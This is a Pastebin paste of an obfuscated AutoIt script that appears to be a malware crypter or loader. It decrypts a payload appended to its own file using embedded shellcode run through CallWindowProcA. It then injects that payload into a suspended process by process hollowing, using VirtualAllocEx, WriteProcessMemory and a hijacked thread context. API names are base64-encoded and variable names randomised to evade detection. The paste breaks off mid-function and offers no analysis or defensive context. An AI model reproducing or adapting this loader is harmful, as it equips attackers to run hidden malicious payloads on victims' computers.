Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- $xgzvzvlbafghpv = @ScriptFullPath
- $ngcvmfglujmhmh = "RHdBBadGdazt"
- $gmqejmamrrsrfv = FileRead($xgzvzvlbafghpv)
- $zedsmtaiixjqmo = StringLen($ngcvmfglujmhmh)
- $gmqejmamrrsrfv = StringMid($gmqejmamrrsrfv, StringInStr($gmqejmamrrsrfv, $ngcvmfglujmhmh) + $zedsmtaiixjqmo)
- Call(htcllljaodnpmr(hxjeemugedhdhb($gmqejmamrrsrfv, "MeX2tFSQMx0zzTk0vciGh72KwOMwJmqhjtkXmEbgS6YW9iuwiiyp7d9oxuCLXwvr3YwOvdjIjwyGuLCb09WjkkmwKYrSq7DehQmb")))
- Func hxjeemugedhdhb($gmqejmamrrsrfv, $ngcvmfglujmhmh)
- Local $aiggusaopjibxa = octdsfveflrtqx("MHhDODEwMDEwMDZBMDA2QTAwNTM1NjU3OEI1NTEwMzFDOTg5Qzg0OTg5RDdGMkFFNDg0ODI5Qzg4OTQ1RjA4NUMwMEY4NERDMDAwMDAwQjkwMDAxMDAwMDg4QzgyQzAxODg4NDBERUZGRUZGRkZFMkYzODM2NUY0MDA4MzY1RkMwMDgxN0RGQzAwMDEwMDAwN0Q0NzhCNDVGQzMxRDJGNzc1RjA5MjAzNDUxMDBGQjYwMDhCNERGQzBGQjY4QzBERjBGRUZGRkYwMUM4MDM0NUY0MjVGRjAwMDAwMDg5NDVGNDhCNzVGQzhBODQzNUYwRkVGRkZGOEI3REY0ODY4NDNERjBGRUZGRkY4ODg0MzVGMEZFRkZGRkZGNDVGQ0VCQjA4RDlERjBGRUZGRkYzMUZGODlGQTM5NTUwQzc2NjM4Qjg1RUNGRUZGRkY0MDI1RkYwMDAwMDA4OTg1RUNGRUZGRkY4OUQ4MDM4NUVDRkVGRkZGMEZCNjAwMDM4NUU4RkVGRkZGMjVGRjAwMDAwMDg5ODVFOEZFRkZGRjg5REUwM0I1RUNGRUZGRkY4QTA2ODlERjAzQkRFOEZFRkZGRjg2MDc4ODA2MEZCNjBFMEZCNjA3MDFDMTgxRTFGRjAwMDAwMDhBODQwREYwRkVGRkZGOEI3NTA4MDFENjMwMDY0MkVCOTg1RjVFNUJDOUMyMTAwMA==")
- Local $jtvfbizagqrmcs = DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & BinaryLen($aiggusaopjibxa) & "]")
- DllStructSetData($jtvfbizagqrmcs, 1, $aiggusaopjibxa)
- Local $evdtgogsnzejax = DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & BinaryLen($gmqejmamrrsrfv) & "]")
- DllStructSetData($evdtgogsnzejax, 1, $gmqejmamrrsrfv)
- DllCall(octdsfveflrtqx("VVNFUjMy"), "none", octdsfveflrtqx("Q2FsbFdpbmRvd1Byb2NB"), octdsfveflrtqx("cHRy"), DllStructGetPtr($jtvfbizagqrmcs), octdsfveflrtqx("cHRy"), DllStructGetPtr($evdtgogsnzejax), octdsfveflrtqx("aW50"), BinaryLen($gmqejmamrrsrfv), "str", $ngcvmfglujmhmh, octdsfveflrtqx("aW50"), 0)
- Local $dulxfphbeddvho = DllStructGetData($evdtgogsnzejax, 1)
- Return $dulxfphbeddvho
- EndFunc
- Func htcllljaodnpmr($ttsenadplmmmeh, $lpomiinrrqxzgi = "", $mdzidhhfnxnxbv = @AutoItExe)
- Local $fautoitx64 = @AutoItX64
- Local $eqdenoxtoeiimf = Binary($ttsenadplmmmeh)
- Local $guxovmusfmjgpa = DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & BinaryLen($eqdenoxtoeiimf) & "]")
- DllStructSetData($guxovmusfmjgpa, 1, $eqdenoxtoeiimf)
- Local $nxunafmfgpvsdf = DllStructGetPtr($guxovmusfmjgpa)
- Local $rtzlxcopszhppg = DllStructCreate(octdsfveflrtqx("ZHdvcmQgIGNiU2l6ZTtwdHIgUmVzZXJ2ZWQ7cHRyIERlc2t0b3A7cHRyIFRpdGxlO2R3b3JkIFg7ZHdvcmQgWTtkd29yZCBYU2l6ZTtkd29yZCBZU2l6ZTtkd29yZCBYQ291bnRDaGFycztkd29yZCBZQ291bnRDaGFycztkd29yZCBGaWxsQXR0cmlidXRlO2R3b3JkIEZsYWdzO3dvcmQgU2hvd1dpbmRvdzt3b3JkIFJlc2VydmVkMjtwdHIgUmVzZXJ2ZWQyO3B0ciBoU3RkSW5wdXQ7cHRyIGhTdGRPdXRwdXQ7cHRyIGhTdGRFcnJvcg=="))
- Local $anfvosjooefcls = DllStructCreate(octdsfveflrtqx("cHRyIFByb2Nlc3M7cHRyIFRocmVhZDtkd29yZCBQcm9jZXNzSWQ7ZHdvcmQgVGhyZWFkSWQ="))
- Local $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), octdsfveflrtqx("Q3JlYXRlUHJvY2Vzc1c="), "wstr", $mdzidhhfnxnxbv, "wstr", $lpomiinrrqxzgi, octdsfveflrtqx("cHRy"), 0, octdsfveflrtqx("cHRy"), 0, octdsfveflrtqx("aW50"), 0, "dword", 4, octdsfveflrtqx("cHRy"), 0, octdsfveflrtqx("cHRy"), 0, octdsfveflrtqx("cHRy"), DllStructGetPtr($rtzlxcopszhppg), octdsfveflrtqx("cHRy"), DllStructGetPtr($anfvosjooefcls))
- If @error OR NOT $sxczganvblgaaq[0] Then Return SetError(1, 0, 0)
- Local $dirxmpngrrplfj = DllStructGetData($anfvosjooefcls, octdsfveflrtqx("UHJvY2Vzcw=="))
- Local $lggcvhsmdvhlvg = DllStructGetData($anfvosjooefcls, octdsfveflrtqx("VGhyZWFk"))
- Local $vjhpqvvipfbulg, $fafhpngauletli
- If $fautoitx64 Then
- If @OSArch = "X64" Then
- $vjhpqvvipfbulg = 2
- $fafhpngauletli = DllStructCreate("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;" & "dword ContextFlags; dword MxCsr;" & "word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;" & "uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;" & "uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;" & "uint64 Rip;" & "uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];" & "uint64 VectorRegister[52]; uint64 VectorControl;" & "uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip")
- Else
- $vjhpqvvipfbulg = 3
- EndIf
- Else
- $vjhpqvvipfbulg = 1
- $fafhpngauletli = DllStructCreate(octdsfveflrtqx("ZHdvcmQgQ29udGV4dEZsYWdzO2R3b3JkIERyMDsgZHdvcmQgRHIxOyBkd29yZCBEcjI7IGR3b3JkIERyMzsgZHdvcmQgRHI2OyBkd29yZCBEcjc7ZHdvcmQgQ29udHJvbFdvcmQ7IGR3b3JkIFN0YXR1c1dvcmQ7IGR3b3JkIFRhZ1dvcmQ7IGR3b3JkIEVycm9yT2Zmc2V0OyBkd29yZCBFcnJvclNlbGVjdG9yOyBkd29yZCBEYXRhT2Zmc2V0OyBkd29yZCBEYXRhU2VsZWN0b3I7IGJ5dGUgUmVnaXN0ZXJBcmVhWzgwXTsgZHdvcmQgQ3IwTnB4U3RhdGU7ZHdvcmQgU2VnR3M7IGR3b3JkIFNlZ0ZzOyBkd29yZCBTZWdFczsgZHdvcmQgU2VnRHM7ZHdvcmQgRWRpOyBkd29yZCBFc2k7IGR3b3JkIEVieDsgZHdvcmQgRWR4OyBkd29yZCBFY3g7IGR3b3JkIEVheDtkd29yZCBFYnA7IGR3b3JkIEVpcDsgZHdvcmQgU2VnQ3M7IGR3b3JkIEVGbGFnczsgZHdvcmQgRXNwOyBkd29yZCBTZWdTcztieXRlIEV4dGVuZGVkUmVnaXN0ZXJzWzUxMl0="))
- EndIf
- Local $gqzzdnlsgqnfbg
- Switch $vjhpqvvipfbulg
- Case 1
- $gqzzdnlsgqnfbg = 65543
- Case 2
- $gqzzdnlsgqnfbg = 1048583
- Case 3
- $gqzzdnlsgqnfbg = 524327
- EndSwitch
- DllStructSetData($fafhpngauletli, octdsfveflrtqx("Q29udGV4dEZsYWdz"), $gqzzdnlsgqnfbg)
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), octdsfveflrtqx("R2V0VGhyZWFkQ29udGV4dA=="), octdsfveflrtqx("aGFuZGxl"), $lggcvhsmdvhlvg, octdsfveflrtqx("cHRy"), DllStructGetPtr($fafhpngauletli))
- Local $qxgeqcavizcdlp
- Switch $vjhpqvvipfbulg
- Case 1
- $qxgeqcavizcdlp = DllStructGetData($fafhpngauletli, octdsfveflrtqx("RWJ4"))
- Case 2
- $qxgeqcavizcdlp = DllStructGetData($fafhpngauletli, "Rdx")
- EndSwitch
- Local $sgihsbicpfxojt = DllStructCreate(octdsfveflrtqx("Y2hhciBNYWdpY1syXTs=") & octdsfveflrtqx("d29yZCBCeXRlc09uTGFzdFBhZ2U7d29yZCBQYWdlczt3b3JkIFJlbG9jYXRpb25zO3dvcmQgU2l6ZW9mSGVhZGVyO3dvcmQgTWluaW11bUV4dHJhO3dvcmQgTWF4aW11bUV4dHJhO3dvcmQgU1M7d29yZCBTUDt3b3JkIENoZWNrc3VtO3dvcmQgSVA7d29yZCBDUzt3b3JkIFJlbG9jYXRpb247d29yZCBPdmVybGF5O2NoYXIgUmVzZXJ2ZWRbOF07d29yZCBPRU1JZGVudGlmaWVyO3dvcmQgT0VNSW5mb3JtYXRpb247Y2hhciBSZXNlcnZlZDJbMjBdO2R3b3JkIEFkZHJlc3NPZk5ld0V4ZUhlYWRlcg=="), $nxunafmfgpvsdf)
- Local $scjrzbzdqlbnvb = $nxunafmfgpvsdf
- $nxunafmfgpvsdf += DllStructGetData($sgihsbicpfxojt, octdsfveflrtqx("QWRkcmVzc09mTmV3RXhlSGVhZGVy"))
- Local $ixeztjjgvpmaxc = DllStructGetData($sgihsbicpfxojt, octdsfveflrtqx("TWFnaWM="))
- Local $jlpvoidssvczrp = DllStructCreate(octdsfveflrtqx("ZHdvcmQgU2lnbmF0dXJl"), $nxunafmfgpvsdf)
- $nxunafmfgpvsdf += 4
- Local $dztqzqshtcxjdz = DllStructCreate(octdsfveflrtqx("d29yZCBNYWNoaW5lO3dvcmQgTnVtYmVyT2ZTZWN0aW9ucztkd29yZCBUaW1lRGF0ZVN0YW1wO2R3b3JkIFBvaW50ZXJUb1N5bWJvbFRhYmxlO2R3b3JkIE51bWJlck9mU3ltYm9sczt3b3JkIFNpemVPZk9wdGlvbmFsSGVhZGVyO3dvcmQgQ2hhcmFjdGVyaXN0aWNz"), $nxunafmfgpvsdf)
- Local $fdobhoqgljzhgs = DllStructGetData($dztqzqshtcxjdz, octdsfveflrtqx("TnVtYmVyT2ZTZWN0aW9ucw=="))
- $nxunafmfgpvsdf += 20
- Local $zjcigtjhhrfrah = DllStructCreate("word Magic;", $nxunafmfgpvsdf)
- Local $qcoxidjexxvqga = DllStructGetData($zjcigtjhhrfrah, 1)
- Local $zuuiatfctdtdcm
- If $qcoxidjexxvqga = 267 Then
- $zuuiatfctdtdcm = DllStructCreate(octdsfveflrtqx("d29yZCBNYWdpYztieXRlIE1ham9yTGlua2VyVmVyc2lvbjtieXRlIE1pbm9yTGlua2VyVmVyc2lvbjtkd29yZCBTaXplT2ZDb2RlO2R3b3JkIFNpemVPZkluaXRpYWxpemVkRGF0YTtkd29yZCBTaXplT2ZVbmluaXRpYWxpemVkRGF0YTtkd29yZCBBZGRyZXNzT2ZFbnRyeVBvaW50O2R3b3JkIEJhc2VPZkNvZGU7ZHdvcmQgQmFzZU9mRGF0YTtkd29yZCBJbWFnZUJhc2U7ZHdvcmQgU2VjdGlvbkFsaWdubWVudDtkd29yZCBGaWxlQWxpZ25tZW50O3dvcmQgTWFqb3JPcGVyYXRpbmdTeXN0ZW1WZXJzaW9uO3dvcmQgTWlub3JPcGVyYXRpbmdTeXN0ZW1WZXJzaW9uO3dvcmQgTWFqb3JJbWFnZVZlcnNpb247d29yZCBNaW5vckltYWdlVmVyc2lvbjt3b3JkIE1ham9yU3Vic3lzdGVtVmVyc2lvbjt3b3JkIE1pbm9yU3Vic3lzdGVtVmVyc2lvbjtkd29yZCBXaW4zMlZlcnNpb25WYWx1ZTtkd29yZCBTaXplT2ZJbWFnZTtkd29yZCBTaXplT2ZIZWFkZXJzO2R3b3JkIENoZWNrU3VtO3dvcmQgU3Vic3lzdGVtO3dvcmQgRGxsQ2hhcmFjdGVyaXN0aWNzO2R3b3JkIFNpemVPZlN0YWNrUmVzZXJ2ZTtkd29yZCBTaXplT2ZTdGFja0NvbW1pdDtkd29yZCBTaXplT2ZIZWFwUmVzZXJ2ZTtkd29yZCBTaXplT2ZIZWFwQ29tbWl0O2R3b3JkIExvYWRlckZsYWdzO2R3b3JkIE51bWJlck9mUnZhQW5kU2l6ZXM="), $nxunafmfgpvsdf)
- $nxunafmfgpvsdf += 96
- ElseIf $qcoxidjexxvqga = 523 Then
- $zuuiatfctdtdcm = DllStructCreate(octdsfveflrtqx("d29yZCBNYWdpYztieXRlIE1ham9yTGlua2VyVmVyc2lvbjtieXRlIE1pbm9yTGlua2VyVmVyc2lvbjtkd29yZCBTaXplT2ZDb2RlO2R3b3JkIFNpemVPZkluaXRpYWxpemVkRGF0YTtkd29yZCBTaXplT2ZVbmluaXRpYWxpemVkRGF0YTtkd29yZCBBZGRyZXNzT2ZFbnRyeVBvaW50O2R3b3JkIEJhc2VPZkNvZGU7dWludDY0IEltYWdlQmFzZTtkd29yZCBTZWN0aW9uQWxpZ25tZW50O2R3b3JkIEZpbGVBbGlnbm1lbnQ7d29yZCBNYWpvck9wZXJhdGluZ1N5c3RlbVZlcnNpb247d29yZCBNaW5vck9wZXJhdGluZ1N5c3RlbVZlcnNpb247d29yZCBNYWpvckltYWdlVmVyc2lvbjt3b3JkIE1pbm9ySW1hZ2VWZXJzaW9uO3dvcmQgTWFqb3JTdWJzeXN0ZW1WZXJzaW9uO3dvcmQgTWlub3JTdWJzeXN0ZW1WZXJzaW9uO2R3b3JkIFdpbjMyVmVyc2lvblZhbHVlO2R3b3JkIFNpemVPZkltYWdlO2R3b3JkIFNpemVPZkhlYWRlcnM7ZHdvcmQgQ2hlY2tTdW07d29yZCBTdWJzeXN0ZW07d29yZCBEbGxDaGFyYWN0ZXJpc3RpY3M7dWludDY0IFNpemVPZlN0YWNrUmVzZXJ2ZTt1aW50NjQgU2l6ZU9mU3RhY2tDb21taXQ7dWludDY0IFNpemVPZkhlYXBSZXNlcnZlO3VpbnQ2NCBTaXplT2ZIZWFwQ29tbWl0O2R3b3JkIExvYWRlckZsYWdzO2R3b3JkIE51bWJlck9mUnZhQW5kU2l6ZXM="), $nxunafmfgpvsdf)
- $nxunafmfgpvsdf += 112
- Else
- EndIf
- Local $rfrlrbjjfjubrj = DllStructGetData($zuuiatfctdtdcm, octdsfveflrtqx("QWRkcmVzc09mRW50cnlQb2ludA=="))
- Local $cqijxqitvqemvd = DllStructGetData($zuuiatfctdtdcm, octdsfveflrtqx("U2l6ZU9mSGVhZGVycw=="))
- Local $vsozdxqodzqjti = DllStructGetData($zuuiatfctdtdcm, octdsfveflrtqx("SW1hZ2VCYXNl"))
- Local $urxccxrvtdpvca = DllStructGetData($zuuiatfctdtdcm, octdsfveflrtqx("U2l6ZU9mSW1hZ2U="))
- $nxunafmfgpvsdf += 8
- $nxunafmfgpvsdf += 8
- $nxunafmfgpvsdf += 24
- Local $ehvtbocnbjsucc = DllStructCreate(octdsfveflrtqx("ZHdvcmQgVmlydHVhbEFkZHJlc3M7IGR3b3JkIFNpemU="), $nxunafmfgpvsdf)
- Local $fzolooghmpdgsa = DllStructGetData($ehvtbocnbjsucc, octdsfveflrtqx("VmlydHVhbEFkZHJlc3M="))
- Local $pfxqcdulnxqeci = DllStructGetData($ehvtbocnbjsucc, octdsfveflrtqx("U2l6ZQ=="))
- Local $roateceqtempbn
- If $fzolooghmpdgsa AND $pfxqcdulnxqeci Then $roateceqtempbn = True
- If NOT $roateceqtempbn Then ConsoleWrite("!By M3!" & @CRLF)
- $nxunafmfgpvsdf += 88
- Local $qjaejctrujpont
- Local $tlmubzhivrvzue
- If $roateceqtempbn Then
- $tlmubzhivrvzue = htcllljaodnpmr_allocateexespace($dirxmpngrrplfj, $urxccxrvtdpvca)
- $qjaejctrujpont = True
- Else
- $tlmubzhivrvzue = htcllljaodnpmr_allocateexespaceataddress($dirxmpngrrplfj, $vsozdxqodzqjti, $urxccxrvtdpvca)
- If @error Then
- htcllljaodnpmr_unmapviewofsection($dirxmpngrrplfj, $vsozdxqodzqjti)
- $tlmubzhivrvzue = htcllljaodnpmr_allocateexespaceataddress($dirxmpngrrplfj, $vsozdxqodzqjti, $urxccxrvtdpvca)
- EndIf
- EndIf
- DllStructSetData($zuuiatfctdtdcm, octdsfveflrtqx("SW1hZ2VCYXNl"), $tlmubzhivrvzue)
- Local $uxvrvxcuszlvps = DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & $urxccxrvtdpvca & "]")
- Local $nlbnffqltehibb = DllStructGetPtr($uxvrvxcuszlvps)
- Local $elenspnupinhxm = DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & $cqijxqitvqemvd & "]", $scjrzbzdqlbnvb)
- DllStructSetData($uxvrvxcuszlvps, 1, DllStructGetData($elenspnupinhxm, 1))
- Local $xrsvrugumqtsqb
- Local $ojfjtegrdvlrxs, $jhdfhidetfecao
- Local $dragzqhmgmfaon, $bzzviseicpsnnv
- Local $tbelozndixgjlc
- For $i = 1 To $fdobhoqgljzhgs
- $xrsvrugumqtsqb = DllStructCreate("char Name[8];" & octdsfveflrtqx("ZHdvcmQgVW5pb25PZlZpcnR1YWxTaXplQW5kUGh5c2ljYWxBZGRyZXNzOw==") & octdsfveflrtqx("ZHdvcmQgVmlydHVhbEFkZHJlc3M7") & octdsfveflrtqx("ZHdvcmQgU2l6ZU9mUmF3RGF0YTs=") & octdsfveflrtqx("ZHdvcmQgUG9pbnRlclRvUmF3RGF0YTs=") & octdsfveflrtqx("ZHdvcmQgUG9pbnRlclRvUmVsb2NhdGlvbnM7") & octdsfveflrtqx("ZHdvcmQgUG9pbnRlclRvTGluZW51bWJlcnM7") & octdsfveflrtqx("d29yZCBOdW1iZXJPZlJlbG9jYXRpb25zOw==") & octdsfveflrtqx("d29yZCBOdW1iZXJPZkxpbmVudW1iZXJzOw==") & octdsfveflrtqx("ZHdvcmQgQ2hhcmFjdGVyaXN0aWNz"), $nxunafmfgpvsdf)
- $ojfjtegrdvlrxs = DllStructGetData($xrsvrugumqtsqb, octdsfveflrtqx("U2l6ZU9mUmF3RGF0YQ=="))
- $jhdfhidetfecao = $scjrzbzdqlbnvb + DllStructGetData($xrsvrugumqtsqb, octdsfveflrtqx("UG9pbnRlclRvUmF3RGF0YQ=="))
- $dragzqhmgmfaon = DllStructGetData($xrsvrugumqtsqb, octdsfveflrtqx("VmlydHVhbEFkZHJlc3M="))
- $bzzviseicpsnnv = DllStructGetData($xrsvrugumqtsqb, octdsfveflrtqx("VW5pb25PZlZpcnR1YWxTaXplQW5kUGh5c2ljYWxBZGRyZXNz"))
- If $bzzviseicpsnnv AND $bzzviseicpsnnv < $ojfjtegrdvlrxs Then $ojfjtegrdvlrxs = $bzzviseicpsnnv
- If $ojfjtegrdvlrxs Then
- DllStructSetData(DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & $ojfjtegrdvlrxs & "]", $nlbnffqltehibb + $dragzqhmgmfaon), 1, DllStructGetData(DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & $ojfjtegrdvlrxs & "]", $jhdfhidetfecao), 1))
- EndIf
- If $qjaejctrujpont Then
- If $dragzqhmgmfaon <= $fzolooghmpdgsa AND $dragzqhmgmfaon + $ojfjtegrdvlrxs > $fzolooghmpdgsa Then
- $tbelozndixgjlc = DllStructCreate(octdsfveflrtqx("Ynl0ZVs=") & $pfxqcdulnxqeci & "]", $jhdfhidetfecao + ($fzolooghmpdgsa - $dragzqhmgmfaon))
- EndIf
- EndIf
- $nxunafmfgpvsdf += 40
- Next
- If $qjaejctrujpont Then htcllljaodnpmr_fixreloc($nlbnffqltehibb, $tbelozndixgjlc, $tlmubzhivrvzue, $vsozdxqodzqjti, $qcoxidjexxvqga = 523)
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), octdsfveflrtqx("V3JpdGVQcm9jZXNzTWVtb3J5"), octdsfveflrtqx("aGFuZGxl"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), $tlmubzhivrvzue, octdsfveflrtqx("cHRy"), $nlbnffqltehibb, octdsfveflrtqx("ZHdvcmRfcHRy"), $urxccxrvtdpvca, "dword_ptr*", 0)
- Local $fffzinqztfatac = DllStructCreate("byte InheritedAddressSpace;" & "byte ReadImageFileExecOptions;" & "byte BeingDebugged;" & "byte Spare;" & "ptr Mutant;" & "ptr ImageBaseAddress;" & "ptr LoaderData;" & "ptr ProcessParameters;" & "ptr SubSystemData;" & "ptr ProcessHeap;" & "ptr FastPebLock;" & "ptr FastPebLockRoutine;" & "ptr FastPebUnlockRoutine;" & "dword EnvironmentUpdateCount;" & "ptr KernelCallbackTable;" & "ptr EventLogSection;" & "ptr EventLog;" & "ptr FreeList;" & "dword TlsExpansionCounter;" & "ptr TlsBitmap;" & "dword TlsBitmapBits[2];" & "ptr ReadOnlySharedMemoryBase;" & "ptr ReadOnlySharedMemoryHeap;" & "ptr ReadOnlyStaticServerData;" & "ptr AnsiCodePageData;" & "ptr OemCodePageData;" & "ptr UnicodeCaseTableData;" & "dword NumberOfProcessors;" & "dword NtGlobalFlag;" & "byte Spare2[4];" & "int64 CriticalSectionTimeout;" & "dword HeapSegmentReserve;" & "dword HeapSegmentCommit;" & "dword HeapDeCommitTotalFreeThreshold;" & "dword HeapDeCommitFreeBlockThreshold;" & "dword NumberOfHeaps;" & "dword MaximumNumberOfHeaps;" & "ptr ProcessHeaps;" & "ptr GdiSharedHandleTable;" & "ptr ProcessStarterHelper;" & "ptr GdiDCAttributeList;" & "ptr LoaderLock;" & "dword OSMajorVersion;" & "dword OSMinorVersion;" & "dword OSBuildNumber;" & "dword OSPlatformId;" & "dword ImageSubSystem;" & "dword ImageSubSystemMajorVersion;" & "dword ImageSubSystemMinorVersion;" & "dword GdiHandleBuffer[34];" & "dword PostProcessInitRoutine;" & "dword TlsExpansionBitmap;" & "byte TlsExpansionBitmapBits[128];" & "dword SessionId")
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), octdsfveflrtqx("UmVhZFByb2Nlc3NNZW1vcnk="), octdsfveflrtqx("cHRy"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), $qxgeqcavizcdlp, octdsfveflrtqx("cHRy"), DllStructGetPtr($fffzinqztfatac), octdsfveflrtqx("ZHdvcmRfcHRy"), DllStructGetSize($fffzinqztfatac), "dword_ptr*", 0)
- DllStructSetData($fffzinqztfatac, "ImageBaseAddress", $tlmubzhivrvzue)
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), octdsfveflrtqx("V3JpdGVQcm9jZXNzTWVtb3J5"), octdsfveflrtqx("aGFuZGxl"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), $qxgeqcavizcdlp, octdsfveflrtqx("cHRy"), DllStructGetPtr($fffzinqztfatac), octdsfveflrtqx("ZHdvcmRfcHRy"), DllStructGetSize($fffzinqztfatac), "dword_ptr*", 0)
- Switch $vjhpqvvipfbulg
- Case 1
- DllStructSetData($fafhpngauletli, octdsfveflrtqx("RWF4"), $tlmubzhivrvzue + $rfrlrbjjfjubrj)
- Case 2
- DllStructSetData($fafhpngauletli, octdsfveflrtqx("UmN4"), $tlmubzhivrvzue + $rfrlrbjjfjubrj)
- Case 3
- EndSwitch
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), octdsfveflrtqx("U2V0VGhyZWFkQ29udGV4dA=="), octdsfveflrtqx("aGFuZGxl"), $lggcvhsmdvhlvg, octdsfveflrtqx("cHRy"), DllStructGetPtr($fafhpngauletli))
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("ZHdvcmQ="), octdsfveflrtqx("UmVzdW1lVGhyZWFk"), octdsfveflrtqx("aGFuZGxl"), $lggcvhsmdvhlvg)
- EndFunc
- Func htcllljaodnpmr_fixreloc($nlbnffqltehibb, $siuzaaiqnvulcu, $cvhbqqstulanjv, $hearzlezmserod, $avmgcsetdzuquu)
- Local $fffzinqztfatac = $cvhbqqstulanjv - $hearzlezmserod
- Local $plvgudfjmrmfpc = DllStructGetSize($siuzaaiqnvulcu)
- Local $bsenistnnabdal = DllStructGetPtr($siuzaaiqnvulcu)
- Local $pvpgpdaezdbprg, $sschmadxcqlamz
- Local $dragzqhmgmfaon, $tfnegzxjxxbxgm, $ipsrslasaescqh
- Local $msraqgnzadvirt, $ozmjbelxqlxguo, $baptjrdblltbgg
- Local $lmgsphdlcrdlla = 3 + 7 * $avmgcsetdzuquu
- While $sschmadxcqlamz < $plvgudfjmrmfpc
- $pvpgpdaezdbprg = DllStructCreate(octdsfveflrtqx("ZHdvcmQgVmlydHVhbEFkZHJlc3M7IGR3b3JkIFNpemVPZkJsb2Nr"), $bsenistnnabdal + $sschmadxcqlamz)
- $dragzqhmgmfaon = DllStructGetData($pvpgpdaezdbprg, octdsfveflrtqx("VmlydHVhbEFkZHJlc3M="))
- $tfnegzxjxxbxgm = DllStructGetData($pvpgpdaezdbprg, octdsfveflrtqx("U2l6ZU9mQmxvY2s="))
- $ipsrslasaescqh = ($tfnegzxjxxbxgm - 8) / 2
- $msraqgnzadvirt = DllStructCreate(octdsfveflrtqx("d29yZFs=") & $ipsrslasaescqh & "]", DllStructGetPtr($pvpgpdaezdbprg) + 8)
- For $i = 1 To $ipsrslasaescqh
- $ozmjbelxqlxguo = DllStructGetData($msraqgnzadvirt, 1, $i)
- If BitShift($ozmjbelxqlxguo, 12) = $lmgsphdlcrdlla Then
- $baptjrdblltbgg = DllStructCreate(octdsfveflrtqx("cHRy"), $nlbnffqltehibb + $dragzqhmgmfaon + BitAND($ozmjbelxqlxguo, 4095))
- DllStructSetData($baptjrdblltbgg, 1, DllStructGetData($baptjrdblltbgg, 1) + $fffzinqztfatac)
- EndIf
- Next
- $sschmadxcqlamz += $tfnegzxjxxbxgm
- WEnd
- Return 1
- EndFunc
- Func htcllljaodnpmr_allocateexespaceataddress($dirxmpngrrplfj, $enultomnaeouqu, $plvgudfjmrmfpc)
- Local $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("cHRy"), octdsfveflrtqx("VmlydHVhbEFsbG9jRXg="), octdsfveflrtqx("aGFuZGxl"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), $enultomnaeouqu, octdsfveflrtqx("ZHdvcmRfcHRy"), $plvgudfjmrmfpc, octdsfveflrtqx("ZHdvcmQ="), 4096, octdsfveflrtqx("ZHdvcmQ="), 64)
- If @error OR NOT $sxczganvblgaaq[0] Then
- $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("cHRy"), octdsfveflrtqx("VmlydHVhbEFsbG9jRXg="), octdsfveflrtqx("aGFuZGxl"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), $enultomnaeouqu, octdsfveflrtqx("ZHdvcmRfcHRy"), $plvgudfjmrmfpc, octdsfveflrtqx("ZHdvcmQ="), 12288, octdsfveflrtqx("ZHdvcmQ="), 64)
- If @error OR NOT $sxczganvblgaaq[0] Then Return SetError(1, 0, 0)
- EndIf
- Return $sxczganvblgaaq[0]
- EndFunc
- Func htcllljaodnpmr_allocateexespace($dirxmpngrrplfj, $plvgudfjmrmfpc)
- Local $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("cHRy"), octdsfveflrtqx("VmlydHVhbEFsbG9jRXg="), octdsfveflrtqx("aGFuZGxl"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), 0, octdsfveflrtqx("ZHdvcmRfcHRy"), $plvgudfjmrmfpc, octdsfveflrtqx("ZHdvcmQ="), 12288, octdsfveflrtqx("ZHdvcmQ="), 64)
- If @error OR NOT $sxczganvblgaaq[0] Then Return SetError(1, 0, 0)
- Return $sxczganvblgaaq[0]
- EndFunc
- Func htcllljaodnpmr_unmapviewofsection($dirxmpngrrplfj, $enultomnaeouqu)
